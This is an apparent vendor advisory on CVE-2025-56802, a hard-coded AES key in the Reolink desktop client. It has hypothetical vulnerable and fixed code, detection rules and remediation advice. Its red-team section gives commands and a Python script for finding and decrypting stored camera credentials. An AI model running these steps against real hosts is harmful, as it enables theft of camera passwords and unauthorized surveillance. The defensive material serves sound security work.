CVE-2025-56802
Executive Summary
CVE-2025-56802 identifies a critical cryptographic weakness in the Reolink desktop application. The application allegedly uses a hard-coded and predictable AES encryption key to protect user configuration files stored in %APPDATA%. This design flaw allows any attacker with local access to the system to decrypt sensitive application data, including camera credentials, network configurations, and potentially video stream tokens. The vendor disputes the finding, stating the key is randomly generated per installation, but the CVE record and public analysis indicate the key is static and predictable. This vulnerability is distinct from CVE-2025-56801.
Impact: An attacker with local user-level access can extract and decrypt Reolink configuration files, gaining full access to camera credentials and network settings. This can lead to lateral movement within a network, unauthorized surveillance, and data exfiltration.
Affected Ecosystem: Desktop application (Windows, macOS, Linux). Not a WordPress plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary desktop application distributed by Reolink. The risk is primarily to end-users and organizations deploying the Reolink client on managed endpoints.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a realistic assessment is:
- Attack Vector (AV): Local (L) - Requires local access to the system.
- Attack Complexity (AC): Low (L) - The key is predictable or hard-coded.
- Privileges Required (PR): Low (L) - User-level access is sufficient.
- User Interaction (UI): None (N) - No user action required beyond the attacker having local access.
- Scope (S): Unchanged (U) - The vulnerability does not cross trust boundaries.
- Confidentiality (C): High (H) - Full decryption of sensitive configuration data.
- Integrity (I): None (N) - Data cannot be modified.
- Availability (A): None (N) - No impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 5.5 (Medium)
Threat Level: Medium. While the impact is high (credential theft), the attack requires local access, reducing the overall risk for remote attackers.
Deep Dive & Mechanics
The vulnerability resides in how the Reolink desktop application stores user configuration data. The application encrypts files (likely JSON or XML) containing camera IP addresses, usernames, passwords, and other settings using AES encryption. The critical flaw is that the encryption key is either:
- Hard-coded in the application binary (e.g., a static string in the code).
- Predictable (e.g., derived from a static seed or a simple algorithm).
An attacker with local access can:
- Locate the configuration files in
%APPDATA%\Reolink\(or similar path). - Extract the AES key from the application binary (using a hex editor or debugger) or derive it from a known pattern.
- Decrypt the configuration files offline, revealing plaintext credentials.
The vendor's claim of "randomly generated on each installation" is disputed. If true, the key would be stored somewhere accessible (e.g., in a registry key or a separate file), which would still be exploitable by a local attacker. The CVE suggests the key is static across installations.
Vulnerable vs. Patched Code
Since no patch is available and the vendor disputes the finding, a direct code comparison is not possible. However, the vulnerable pattern is:
Vulnerable (Hypothetical):
// Hard-coded AES key in the application
string aesKey = "ReolinkStaticKey123"; // 16 bytes for AES-128
byte[] key = Encoding.UTF8.GetBytes(aesKey);
// Encrypt configuration
byte[] encrypted = AESEncrypt(configData, key);
File.WriteAllBytes(configPath, encrypted);
Patched (Hypothetical):
// Generate a random key per installation and store it securely
byte[] key = new byte[16];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(key);
}
// Store key in DPAPI-protected storage (Windows) or Keychain (macOS)
ProtectedData.Protect(key, null, DataProtectionScope.CurrentUser);
// Encrypt configuration
byte[] encrypted = AESEncrypt(configData, key);
File.WriteAllBytes(configPath, encrypted);
The patched version would use a cryptographically random key and store it using platform-specific secure storage (e.g., Windows DPAPI, macOS Keychain, Linux Secret Service).
Exploitation & Lab Setup
Red Team (Exploitation)
Objective: Decrypt Reolink configuration files from a compromised host.
Prerequisites:
- Local access to a Windows machine with Reolink installed.
- User-level privileges.
Steps:
Locate Configuration Files:
Get-ChildItem -Path "$env:APPDATA\Reolink" -Recurse -Filter "*.dat" -ErrorAction SilentlyContinueExtract the AES Key (Hypothetical):
- Use a hex editor or
stringsto find the key in the Reolink executable.
strings "C:\Program Files\Reolink\Reolink.exe" | grep -i "key"- If the key is not hard-coded, check the registry or a local file:
Get-ItemProperty -Path "HKCU:\Software\Reolink" -Name "EncryptionKey"- Use a hex editor or
Decrypt the Configuration:
- Write a Python script to decrypt the file.
import os from Crypto.Cipher import AES import base64 # Hypothetical key (replace with extracted key) key = b'ReolinkStaticKey123' # 16 bytes iv = b'1234567890abcdef' # 16 bytes (may be hard-coded or in file) def decrypt_file(filepath): with open(filepath, 'rb') as f: ciphertext = f.read() cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) # Remove padding pad = plaintext[-1] return plaintext[:-pad] config_path = os.path.expandvars(r'%APPDATA%\Reolink\config.dat') decrypted = decrypt_file(config_path) print(decrypted.decode('utf-8'))Extract Credentials:
- Parse the decrypted JSON/XML to extract camera IPs, usernames, and passwords.
Blue Team (Detection & Response)
Objective: Detect and respond to exploitation attempts.
Detection Steps:
- Monitor File Access: Alert on unusual access to
%APPDATA%\Reolink\*.datfiles by non-Reolink processes. - Process Anomaly: Detect execution of
strings.exe,python.exe, or other tools reading the Reolink executable. - Registry Monitoring: Alert on reads of
HKCU:\Software\Reolink\EncryptionKeyby non-Reolink processes.
Response:
- Isolate the compromised host.
- Rotate all camera credentials.
- Reinstall the Reolink client after a patch is available.
- Consider using a network-based camera management solution instead of the desktop client.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | %APPDATA%\Reolink\*.dat |
Encrypted configuration files |
| File | %APPDATA%\Reolink\*.json |
Possible plaintext config (if encryption fails) |
| Registry | HKCU\Software\Reolink\EncryptionKey |
Possible storage location for the key |
| Process | Reolink.exe |
Legitimate process, but may be used to access config |
| Network | Outbound connections to camera IPs | May indicate credential theft and lateral movement |
Detection Engineering
YARA Rule
rule Reolink_Hardcoded_AES_Key {
meta:
description = "Detects hard-coded AES key in Reolink desktop application"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-56802"
strings:
$key1 = "ReolinkStaticKey123" ascii wide nocase
$key2 = "AESKey" ascii wide nocase
$key3 = "EncryptionKey" ascii wide nocase
$config_path = "%APPDATA%\\Reolink" ascii wide nocase
condition:
any of ($key*) and $config_path
}
Sigma Rule
title: Reolink Configuration File Access by Non-Reolink Process
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to read Reolink configuration files by unauthorized processes
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains: '\\AppData\\Roaming\\Reolink\\'
TargetFilename|endswith: '.dat'
filter:
Image|endswith: '\\Reolink.exe'
condition: selection and not filter
falsepositives:
- Legitimate Reolink updates or backups
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Reolink Credential Exfiltration Attempt"; flow:to_server,established; content:"|22|Reolink|22|"; nocase; content:"password"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate: Disconnect affected systems from the network if credential theft is suspected.
- Rotate Credentials: Change all camera passwords and any credentials stored in the Reolink client.
- Monitor: Review logs for unauthorized access to
%APPDATA%\Reolink\files.
Long-Term Fixes:
- Vendor Patch: Await an official update from Reolink that uses a cryptographically random key stored in platform-specific secure storage (DPAPI, Keychain).
- Workaround: Use a third-party password manager to store camera credentials and manually configure the Reolink client without saving passwords.
- Alternative: Switch to a different camera management platform that does not store credentials insecurely.
Compensating Controls:
- Endpoint Protection: Deploy EDR solutions to detect file access anomalies.
- Least Privilege: Restrict user accounts to prevent local access to sensitive directories.
- Application Control: Whitelist only approved processes from accessing
%APPDATA%\Reolink\.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.